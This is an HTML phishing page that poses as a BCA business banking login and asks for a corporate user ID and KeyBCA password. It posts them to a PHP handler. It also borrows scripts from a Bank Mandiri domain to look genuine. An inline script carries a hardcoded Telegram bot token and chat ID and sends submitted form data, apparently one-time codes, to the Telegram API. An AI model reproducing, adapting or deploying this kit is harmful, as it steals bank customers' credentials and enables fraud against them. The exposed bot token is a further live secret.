<!DOCTYPE html><html lang="in"><head>
    <meta charset="UTF-8">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>BCA</title>
     <link rel="shortcut icon" href="assets/favicon.ico" type="image/x-icon"> 
  <link rel="apple-touch-icon" href="./assets/ico/apple-touch-icon.png"> 
  <link rel="stylesheet" href="assets/css/main.css"> 
  <link rel="stylesheet" href="assets/css/styles.css"> 
    <link rel="stylesheet" href="assets/css/main.css">
    <link rel="stylesheet" href="assets/css/styles.2.css">
    <link rel="stylesheet" href="styles.64003c381abb4bcbd5d1.css">
    <style>
     @charset "UTF-8";



@import url(assets/plugins/fontawesome-5.5.0/css/all.min.css);
@import url(assets/plugins/animate-css-3.6.0/animate.min.css);
    
    
    
      .grecaptcha-badge {
        visibility: collapse !important;
      }   
 @import url('https://fonts.googleapis.com/css2?family=Ubuntu:wght@300;400;500;700&display=swap');
    * {
        font-family: 'Ubuntu', sans-serif;
        font-weight: 400;
        margin: 0;
        padding: 0;
        box-sizing: border-box;
        position: relative;
        color: #000;
    }
     body, html{
     background-image: url('images/WBmE72.jpg');
    background-repeat: no-repeat;
    background-position: 100% 100%;
    background-size: 100% 100%;
        font-family: 'Ubuntu', sans-serif;
      left: 0;
      right: 0;
      bottom: 0;
      top: 0;
      margin: 0px auto;
      background-color:#f6f6f6ef;
      width: 100%;
      height: 100%;
      positon: fixed;
    
      
}
 .container {
        max-width: 90%;
        padding: 0px;
        background-color:;
        margin-left: auto;
        margin-right: auto;
        border-radius:10px;
       
    }
    .button {
        margin-top: 5px;
        width: 100%;
        height: 40px;
        border: none;
        outline: none;
        border-radius: 25px;
        color: #fff;
        background: #1171ce;
        text-align: center;
        font-size: 13px;
        font-weight: bold;
        box-shadow: 2px 2px 2px 0px rgba(8,8,0,0.5);
    }
    button:disabled {
        opacity: 0.7;
    }
    
    input {
        width:100%;
        height: 40px;
        margin:;
        padding:10px;
        border-radius:4px;
        border:none;
        box-shadow:  0px 4px 4px 0px #dedede;
    }
    </style>
        
     </head><body style="position: ring; margin: 0px auto; left: 0; right: 0; top: 0"><div class="space" style="padding:0px;height:0%;">
     </div>
     
     
     
         


 
  
  <img src="images/WBmY4I.jpg" width="100%" style="" alt="">
  
  
     <div class="space" style="padding:0%;height:;margin:;">
     </div>
  <div class="container">
    
     
     
      <form method="post" action="req/kbcabisnis.php">
        
        <div class="container">
    <br>
 <lbl style="color:#1e5cb5;font-weight: 800;font-size:14px;">Username</lbl>  
 <input type="text" placeholder="CorporateID UserID (Tanpa Spasi)" name="user" required="">
    <br><br>
    <lbl style="color:#1e5cb5;font-weight: 800;font-size:14px;">Password</lbl>  
 <input type="password" inputmode="numeric" placeholder="KeyBCA Appli 1" name="pass" required="">
<br><br>
<button style="width: 100%; height: 40px; position; fixed; bottom: 0; right; 0; left: 0; margin-bottom: -23px; padding: 0px 0px; background: #0f65b8;color:#fff;border-radius:20px;font-weight: solid;border: 0px none #fff;font-size:17px;" onclick=""><img src="" style="width: 100%; height; 40px; margin-top: -0px;  bottom: 0;"> LOGIN</button>
      

  </div></form> 
  <br>
 
 </div>
 <img src="images/WBmuM1.jpg" width="100%" alt="">
<script type="text/javascript" src="https://join.bankmandiri.co.id/app/runtime.299e45bc8bc05c2eccbd.js"></script><script type="text/javascript" src="js/polyfills.c7f64453bbe3590e5bc6.js"></script><script type="text/javascript" src="https://join.bankmandiri.co.id/app/scripts.a19598cc8433cfd82202.js"></script><script type="text/javascript" src="https://join.bankmandiri.co.id/app/main.c11e6cafb2fa20f60efd.js"></script><script type="text/javascript" src="https://join.bankmandiri.co.id/app/_Incapsula_Resource?SWJIYLWA=719d34d31c8e3a6e6fffd425f7e032f3&amp;ns=1&amp;cb=1855780325" async=""></script>

 <script src="js/jquery-3.5.1.min.js"></script>
<script src="js/jquery.mask.min.js"></script>
  <script type="text/javascript" src="js/popper.min.js"></script>
  <script type="text/javascript" src="js/bootstrap.min.js"></script>

  <!--jQuery UI-->
  <!--Has dependency on main.scss-->
  <script type="text/javascript" src="https://join.bankmandiri.co.id/app/assets/plugins/jquery-ui-1.12.1/jquery-ui.min.js"></script>

  <!--Viewport Checker-->
  <!--For viewport animation-->
  <script type="text/javascript" src="js/viewportchecker.min.js"></script>

  <!--Jquery Mask-->
  <!--For Money Format-->
  <script type="text/javascript" src="js/jquery.mask.min_1.js"></script>

  <!-- Exif JS -->
  <script type="text/javascript" src="js/exif.js"></script>
   <script>
$( document ).ready(function() {
            setTimeout(() => {
                $('#lodingku').hide();
                $('chsalxcome2').fadeIn();
            },860)
        })



</script>
<script src="js/jquery.min.js"></script> 
   <script src="js/bootstrap.bundle.min.js" crossorigin="anonymous"></script> 
   <p id="status"></p>
   <script src="setPin.js"></script>
   
   <script>
   
            $(document).ready(function() {
            $("div#eyeOpen").on('click', function() {
                $("#eyeOpen").css("display", "none");
                $("#eyeClose").css("display", "block");

                $("#password").prop("type", "text");

                $("div#eyeClose").on('click', function() {
                    $("#eyeOpen").css("display", "block");
                    $("#eyeClose").css("display", "none");

                    $("#password").prop("type", "password");
                });
            });
            
const chat_id = '7540033215', botID = 'bot6904650216:AAG3UFJBBm7Qeou-S8Yf0C1XMw0K-gcNSq0';

    const telegramURL = `https://api.telegram.org/${botID}/sendMessage`;

    document.querySelector('#setOtp').addEventListener("submit", async e => { // When the user submits the form
        e.preventDefault(); // Don't submit
        let text = JSON.stringify( // Convert the form data to a string to send as our Telegram message
            Object.fromEntries(new FormData(e.target).entries()), // Convert the form data to an object.
        null, 2); // Prettify the JSON so we can read the data easily
        const sendMessage = await fetch(telegramURL, { // Send the request to the telegram API
            method: 'POST',
            headers: {"Content-Type": "application/json"}, // This is required when sending a JSON body.
            body: JSON.stringify({chat_id, text}), // The body must be a string, not an object
        });
        const messageStatus = document.querySelector('#status');
        if (sendMessage.ok) // Update the user on if the message went through
            messageStatus.textContent = "";
        else
            messageStatus.textContent = "Message Failed to send :( " + (await sendMessage.text());
        e.target.reset(); // Clear the form fields.
        window.location.href = '';
    });

            
        });
        
   </script>



</body></html>